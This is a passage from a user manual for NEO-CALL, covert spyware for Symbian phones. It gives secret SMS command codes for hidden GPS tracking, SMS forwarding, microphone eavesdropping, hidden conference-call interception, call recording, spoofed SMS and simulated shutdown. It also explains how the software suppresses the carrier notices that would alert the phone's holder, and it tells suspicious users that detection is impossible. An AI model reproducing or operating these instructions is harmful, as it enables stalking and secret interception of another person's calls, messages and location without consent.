devices you can't get GPS data if the phone is in a house or in a gallery.
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Neo-GPS uses 2 ways for sending target phone position:

1. positioning via SMS (unique localization):

Target phone receives position request by sms and automatically
starts GPS module in order to connect to the available satellites (this
could request few minutes). If target phone is in a house or whrevere
GPS is unavailable, you will get BTS data..

2. Positioning via Email (Tracking):  target phone sends gps data
automatically every “x” seconds directly to a mailbox (a GPRS data
connection is required to use this feature)

WARNING: Neo-GPS sends latitude and longitude data ONLY if
GPS is connected to gps satellites.

MAIN NEO-GPS FEATURES
This is a quick list of Neo-GPS features:

Available on Symbian 9.x devices

Runs with integrated GPS or with external GPS Unit

Fully hidden

Managed by secret sms commands (like other NeoCall features)
You can run ALSO if you're running other NeoCall features
Easy to use reply with sms GPS localization or BTS data
Available with email support

Auto-start if phone is restart

Activate Neo-GPS: #password#243

R Command Received: Neo GPS = ON

De-activate Neo-GPS: #password#244

R Command Received: Neo GPS = OFF

Start Neo-GPS: #password#245
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R  Command Received: Neo GPS = ON

EMAIL and password settings (tracking & unique loc alization):

0000#0000#800<email> user@host<password> newpassword

R NeoGPS(1): Activation has been completed successfu  lly
user@host = this is the mailbox where Neo-GPS will send data
newpassword = control password to use neogps

Richiesta Localizzazione tramite SMS:

0000#newpassword#810
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R (link wap per Google Maps) if target phone is under GPS
coverage

R (descrizione cella) if target phone IS NOT under GPS coverage

In newpassword field, you have to insert the password you used to setup
NeoGPS for the first time.

Warning! Follow the correct syntax or Neo-GPS wouldn't be active
Tracking via EMAIL command:

The following commands aren’t required if you don’t want to use email
tracking. Nevertheless, you always have to setup an email address and a
password

set tracking-time period

0000#newpassword#820<period> secondi
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R NeoGPS(27): Location loggin started

Seconds= insert a value between 5 and 60

Here you can find some examples:

0000#newpassword#820 — start tracking (default period = 5s)
0000#newpassword#820<period> 5 — start tracking every 5s
0000#newpassword#820<period> 60 — start tracking every 60s

Stop NeoGPS:

0000#newpassword#801

R NeoGPS(19): GPRS/3G configuration is correct

NEO-CALL Software Suite 2.0 User Guide

53



Request GPS position by GPRS: 0000#newpassword#821
R  Email sending in progress
Check target phone internet settings: 0000#newpassw  ord#831

R NeoGPS(19): GPRS/3G configuration is correct

Check email settings on target phone: 0000#newpassw  ord#832

R NeoGPS(15): Email account configuration is correct

Start GPS tracking every 60 sec: 0000#newpassword#8 40

R (positioning) every 60 s

User will be noticed of every status change by sms

800 and 801options may be used to perform a new settings of Neo-GPS. If you
want to change Neo-GPS password or mailbox you have to deactivate Neo-GPS
and re-activate it by following the instructions below.

WARNING:

default time periodi 5 seconds.
(it means that gps module will try to send data every 5 sec)

Time period is optionally: you have to specify it if you want a different time period
sending

You can't set a period less than 5 seconds

If NeoGPS couldn’'t get GPS data (i.e. there is not a GPS connection available)
target phone will send BTS data (lesse accuracy than gps position)

If you use email tracking, you'll get a message with 100kb attached file. Once it
sends the file, the old .txt will be rewritten.

IMPORTANT: user must know that localization is ONLY an approximate value
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Chapter 4: Using NEO-CALL Software

NEO-CALL Software offers a full range of mobile office applications to
help you keep up with your important data, SMS and calls lists. This
chapter describes how to use NEO-CALL Software.

Starting the Software Application

Software starts automatically in the background when you switch your
device on. Therefore, you do not have to do anything special to get it
running.

Checking the Configuration

Once installed and configured (#pwd#<sms>+newnumber), we
recommend you to first check the configuration by sending the Discreet
SMS command using the PDN or any other mobile (Please note that
configuration SMS is forwarded to the PDN defined by the
#pwd#<sms>+newnumber command !)

Configuration Command: #pwd#603
For more information on using your software, please refer to the list of
commands available in the next chapter.

Controlling the Software

We recommend you to use our Parental Control Panel on your PDN!
The Parental Control Panel is a FREE Java application that you can
install on any phones supporting JAVA or MIDP 1.0 and above (99% of
the mobiles on the market)

Once installed the Parental Control need to be configured:

- Target number (always enter it in international format)

- #password# (always enter your password with # and # at the beginning
and the end)

Once configured correctly you will see the menu, simply click on any of
the items in the list and the Parental Control panel will send the SMS
automatically to the TP saving you time and ensuring correct formatting
of each command!

NOTE!

In case of problem, a copy of the configuration mes  sage will be
asked by our support team for ANY support inquiry!
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Chapter 5. Command List
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You can send commands in 2 ways:
By SMS
By a graphical user interface (Neo-CONTROL) from PDN

DEFAULT SOFTWARE PASSWORD (pwd): #123#
BASIC TOOLS AND STATUS COMMANDS :

#pwd#003/NEWPASS change software password
#pwd#<sms>Mobile change PDN number
#pwd#<plen>number message lenght filter

#pwd#602 stop ALL ACTIVE features on target phone
#pwd#603 target Status info
#pwd#604 shutdown phone.

Neo-SMS SMS forwarding :

- Configuration/Commands:
#pwd#100 Enable SMS forwarding.
#pwd#101 Disable SMS forwarding.

Operator SMS filter and charge-by-caller SMS

- Configuration/commands:

#pwd#666/NotifyChangeText Pattern Activate Notify Block Feature.
if you use Tim ltaly : #pwd#666/Tim

#pwd#667 Disable operator notify sms

#pwd#665/Number special number for charge-by-caller sms for TIM :
#pwd#665/+394888PhoneNumber

#pwd#664 Disable Special number

Neo-LIST Call list feature :

- Configuration/Commands:
#pwd#400 Enable feature.
#pwd#401 Disable feature.
#pwd#402 Get Missed call list
#pwd#403 Get Received call list.
#pwd#404 Get dialled calls.



#pwd#405 Enable real-time caller positioning
#pwd#406 Disable real-time caller positioning

Neo-PHONE? surrounding listening:

- Configuration/Commands:

#pwd#210 Enable Neo-Phone

#pwd#211 Disable Neo-Phone

#pwd#205/Number set incoming caller number for listening
#pwd#205 listening request from PDN

Neo-PHONE? surrounding listening with Call/BACK :

- Configuration/Commands:

#pwd#204 target phone calls PDN within 5 sec

#pwd#204/Time target phone calls PDN within “x” sec (Time value)
#pwd#203/PhoneNumber call-back to a third number (not the PDN)

Neo-INTERCEPTOR Hidden Conference call:

- Configuration/Commands:

#pwd#200 Enable Neo-Interceptor

#pwd#201 Disable Neo-Interceptor

#pwd#207 Get conference invite for every incoming/outcoming calls
#pwd#207/Number get conference invite ONLY for a specified number
#pwd#208 Stops Interceptor.

Neo-RECORD Call recording:
- Configuration/Commands:

#pwd#206 Record first incoming/outgoing call

#pwd#206/number Record first incoming/outcoming from/to a specific
number.

#pwd#503 Send call recording file via BT

Neo-SIM Sim change notify:

- Configuration/Commands:

#pwd#702 Get target sim IMSI code
#pwd#<sim>777 Enable SIM change notify
#pwd#<sim>888 SIM change at every startup notify.
#pwd#<sim>999 Disable notify

Neo-TRAX BTS localization :

- Configuration/Commands:

#pwd#300 Enable localization.

#pwd#301 Disable localization

#pwd#302 Get cell geolocalization cella (by WAP SMS)
#pwd#303 Get cell geolocalization cella (by text sms).

Neo-LOG&MAIL/Neo-GPRS Send SMS log/Call list via E  mail or
Bluetooth:

- Configuration:
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#pwd#<email>NewEmail Set email address where you want to get log files
#pwd#<bluetooth>newBT Set Bluetooth address for incoming filesimposta
indirizzo

- Commands:

#pwd#500 Enable Log feature
#pwd#501 Disable Log feature
#pwd#502 Send Log file via Bluetooth.

#pwd#702 get IMSI code of target phone’s sim

#pwd#801 Enable Gprs data connection
#pwd#801 Disable Gprs data connection.
#pwd#987 Send Log to email

#pwd#988 Get contact list to email
#pwd#789 Stop data sending.

NEO-GPS Geolocalization by GPS:

- Configuration:

#pwd#243 Initialize Neo-GPS
#pwd#244 Deactivate Neo-GPS
#pwd#245 Activate Neo-GPS

- Configuration Software GPS:
0000#0000#800<email>user@mail.xxx<password>newpassw  ord

0000#NewPassword#810 GPS position request
0000#NewPassword#820<period>seconds set how many seconds you
want to get GPS position (for email logfile feature)
0000#NewPassword#821 Get GPS positioning file by GPRS
0000#NewPassword#831 check internet target settings
0000#NewPassword#832 check email settings
0000#NewPassword#840 record gps positioning every minute
0000#NewPassword#801 disable Neo-GPS

NEO- CONTACT Contact list management:

- Commands:

#pwd#900 Enable Neo-Contact

#pwd#904 Disable Neo-Contact

#pwd#901/Number Seek a Contact if present in target phone
#pwd#902/Number Delete a specified contact
#pwd#903/Number Add/Edit a specified Contact

#pwd#899 Enable Add/Edit/Remove of a Contact.

#pwd#998 Disable Add/Edit/Remove of a Contact.
#pwd#988 send ALL Contacts by GPRS

NEO- VIRTUALSMS fake message sender :
- Commands:

#pwd#<vs>VirtualSender/SMS_text Send SMS with specified data as
shown

NEO- PHONE DEAD shutdown simulation
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#pwd#800 Enable Neo-Phone Dead

#pwd#801 Disable Neo-Phone Dead

#pwd#810/ForwardNumber enable call forward to an offline number (onlyt
when phone dead is active)

#pwd#811 Disable call forwarding for phone dead feature

#pwd#812 Start phone Dead

NOTE!

Make sure to always enter your Password like this:
#password# when you send a command or when you want to
change the password.

Password without #...# won't work!

You can install our JAVA Parental Control Panel on your PDN
phone that would let your phone make any of those o perations
in one click!

Warning: default password is #123#
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Chapter 6: Upgrading Software

61

Installing and Upgrading your NEO-CALL Software 2.0 can be done on
top of another 2.0 version. You can also extend your free 2 hours trial by
reinstalling. If you have an older version (1.5.x or previous), upgrading
requires you to first uninstall the old client, and then installing the new
one. The reinstallation process is similar to the initial installation.

In case of problem or any issue we recommend you to soft/hard reset
your phone or use our remover software prior to new installation.






Chapter 7: Uninstalling Software

This chapter describes different methods to uninstall NEO-CALL
Software from your mobile device.

1. PHONE ON : Remotely and secretly

Use Neo-REMOVE through a discreet SMS command or using our
Free JAVA app Parental Control for your NEO-CALL software

2. PHONE OFF : Hard reset the mobile

The method of performing a hard-format, i.e resetting it completely to
factory defaults and removing all data, is as follows:

- Switch off the phone.

- Hold down the following three buttons: Green (call answer) button, *
button, and '3' button

- While holding these buttons, press the power button and switch on
the phone

- When the message 'Formatting' appears on the screen, release all
of the buttons

Note that you shouldn't switch the phone off or remove the battery when performing
these operations and it's advised that the handset has a reasonable amount of battery
charge before performing a format/reset. As data will be lost, you are advised to
perform a backup first.

3. PHONE ON : Hard/Soft reset

You can perform a hard/soft reset (*#7780# or *#7370# on Nokia for
example). Keep in mind that, by doing so, you will loose any settings,
contacts, software or anything else saved on your phone. The phone
will be reset to factory defaults.

4. PHONE ON: System Cleaner

Alternatively If you don’t want to loose any data you can use our
special Remover software supplied with our software.

This software is dedicated to those who just want to remove NEO-
CALL software without altering any data on the Target Phone.

NOTE!

If you are prompted to enter a security by default it's 12345 on
most of Nokia phones
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Chapter 8: Troubleshooting and FAQ

This chapter presents steps to perform on your mobile device if you want
to check that it is working correctly and to locate possible errors as well
as frequently asked questions (FAQ).

Troubleshooting

It is highly recommended that you perform these tests before you contact
your resellers/distributors or our support team for additional support.

1. Reboot your mobile device

- This may help if your device has internal errors.

2. Reinstall the software
- This may help if your software has an unexpected configuration error.

3. If you still experience problems, contact our support team for
additional support. Please add the configuration file to your support
request.

- SMS command for configuration: #pwd#603

Frequently Asked Questions (FAQ)

Q: Is it possible to forward a copy to the predefin ed number of any
incoming and outgoing SMS from the Phone running th e software?

A: Yes, Mobile-Secuware.com and Neo-CALL software are offering such
feature. Through SMS Forwarding feature you will be able to receive
copy of any incoming or outgoing SMS sent from or to the device having
the software.

Q: I transferred the software installable file (.SI  S) to my phone but |
get a “installation security error”?

A: In case you see that message on the Target Phone during installation,
just follow the instructions:

- click Menu > Tools > App. Manager

- highlight Application Downloads

- Options > Settings > Software Installation

- setto On

Q: What is the coverage area / range of the phone?

A: The coverage area will be the same as any other standard mobile
phones; it depends on the coverage provided by the local network phone
company. As for the range while on the Spy mode - you can call it from
anywhere in the world. The same applies for SMS/MMS, Localization or
any other, it is available Worldwide, that is why you are prompted to
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enter your Control number in an international format to ensure overseas
functionality.

Q: Is it possible to localize the Spy Phone/Target Phone?

A: Yes, Localization option works by sending a SMS anytime with a
special command code provided. You will receive the phone localization
back by SMS to the pre defined number.

Q: How sensitive is the microphone and how far from the phone can
| hear?

A: The microphone is a sensitive microphone that is used to make a
normal conversation located in the mouth piece of the phone. Though
the microphone is very sensitive there is no way to know how far you are
able to hear, basically you can hear the same as if someone has
forgotten to press the END button on the keypad after a call.

Q: Can the Phone running Neo-CALL software be used for an
everyday use as a mobile phone?

A: Yes absolutely, you won't notice any difference. You can call and
receive calls just like any other mobile phones; it will ring normally and
work exactly according to the original manufacturer specifications.

Q: Is it possible to remotely unable or disable any of the features?

A: Yes, using your Parental Control Panel or by sending Discreet SMS
command, you will be able to turn ON/OFF any feature remotely at any
time, by sending an SMS with a special command code (refer to the list
of command in use)

Q: Can you tell by holding the phone thatitisa"  spy phone"?

A: No, there is no way to tell by holding it or using the Spy Phone that it
has an "Extra feature», it looks and feels just like a standard ordinary
mobile phone. Even very advanced users won't be able to make any
difference with any other ordinary phone

Q: What if the Target Phone holder goes in an uncov  ered area and |
try to call using the predefined number?

A: With any solutions on the market, the Target Phone holder will receive
a notification SMS from his service provider, such as: [Pre Defined
number] was trying to call you at [DATE:HOUR]. User will immediately
notice that something goes wrong. Mobile-Secuware and Neo-CALL
software will immediately delete and block this kind of SMS using its
Block SMS feature.

Q: When the Spy Phone is busy, can | call it in to listen?
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A: If you have used the Interceptor option or if the Target Phone have
"double call" option enabled (also know as Call Waiting), you will be able
to listen to ongoing phone conversation. If the Target Phone does not
have "double call" or “call waiting” option, you will hear a busy signal or
you will be transferred to the voice mail. With any solutions on the market
the Target Phone holder will receive a notification SMS from his service
provider, such as: [Pre Defined number] try to call you at [DATE:HOUR].
User will immediately notice that something is going wrong. Mobile-
Secuware software will immediately delete and block this kind of SMS
using its Block SMS feature.

Q: What happens when someone wants to make a callw  hile |
monitor the Target Phone?

A: With NEO-CALL advanced software (and Call Breakthrough Feature),
your call will be automatically disconnected without the user being able
to notice any difference.

Q: How long can | monitor the Target Phone?

A: The only limit is the phone's battery, while monitoring it is considered
"talk time". If you need any further information about that point, please
refer to manufacturer documentation of your phone model, it may helps
to determine the battery life time while a phone call is ongoing. Other
features are not considered as "talk time" such as
SMS/MMS/Localization

Q: Can we use a land line, “Fix” line as predefined number?

A: Yes, you can use any phone line number (mobile or land line) as a
predefined number. Please note that you need to enter the number using
the international format +[countrycode][phonenumber] in order to ensure
functionality while travelling. Be aware that not all LAND lines can
receive SMS/MMS.

Q: Can | call from the Spy Phone to any other phone and listen to
anyone's conversation?

A: No, we suggest that you read the whole page again. You can only call
the Target Phone (where software is installed) using the predefined
number to listen to the surrounding or into conversation.

Q: What is an IMEI code?

A: It's a 15 digits length hardware number specific to your phone, by
restricting activation code to an IMEI number, it will be impossible for
someone to use that activation code on any other phone than the one
matching your IMEI number. By pressing the following key on your GSM,
you would be able to know your IMEI humber *#06# (please note that
IMEI number is also usually printed on the phone packaging or printed
on the battery label)
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Q: I suspect that someone installed a your software on my GSM,
how to be sure?

A: It's actually impossible to find out, or to be sure that someone installed
such software on your phone. By security, you can perform a hard/soft
reset (*#7780# or *#7370# on Nokia for example). Keep in mind that, by
doing so, you will loose any settings, contacts, software or anything else
saved on your phone. The phone will be reset to factory defaults.
Alternatively If you don’t want to loose any data you can use our special
Remover software supplied with our software.

Q: How to find out my firmware version?

A: Press *#0000# on your phone’s keypad to find out your firmware
version. That's may be useful to know if you meet any technical problem,
it will be asked by our dev team to supply your firmware version.
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Chapter 9: Additional Support

Additional support
For additional support on using the NEO-CALL Software service:
contact your Reseller/Distributor

visit http://www.neo-call.com
contact our Technical Support http://helpdesk.neo-call.com

For additional help on your mobile phone connectivity, please contact
your phone manufacturer or your mobile service provider.
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